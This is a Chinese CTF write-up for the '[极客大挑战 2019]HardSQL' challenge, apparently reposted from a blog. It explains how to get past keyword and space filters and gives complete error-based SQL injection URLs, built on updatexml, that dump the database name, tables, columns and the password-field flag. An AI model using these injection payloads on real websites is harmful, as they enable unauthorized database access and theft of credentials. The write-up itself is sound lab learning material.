码迷,mamicode.com
首页 > 数据库 > 详细

[极客大挑战 2019]HardSQL

时间:2020-07-07 15:46:10      阅读:131      评论:0      收藏:0      [点我收藏+]

标签:字典   ase   name   说明   format   alt   mic   amp   技术   

使用字典fuzz一下,发现过滤了空格,and,1=1,union,select,sleep,=等关键字
但是没有过滤informaion_schema,updatexml等关键字,说明让我们使用报错注入,
and被过滤可以使用or或者异或^代替,空格被过滤可以使用括号代替

查询数据库
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin‘or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

技术图片

 查询表

http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin‘or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

技术图片

 查询字段

http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin‘or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1‘)),0x7e),1))%23&password=123

技术图片

查询数据

http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin‘or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123

技术图片

 发现flag只有一半

 可以使用left(),right()来进行拼接操作

 http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin‘or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

 

 http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin‘or(updatexml(1,concat(0x7e,   (select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123

 

 便可以获得flag

技术图片

 

[极客大挑战 2019]HardSQL

标签:字典   ase   name   说明   format   alt   mic   amp   技术   

原文地址:https://www.cnblogs.com/gtx690/p/13260510.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!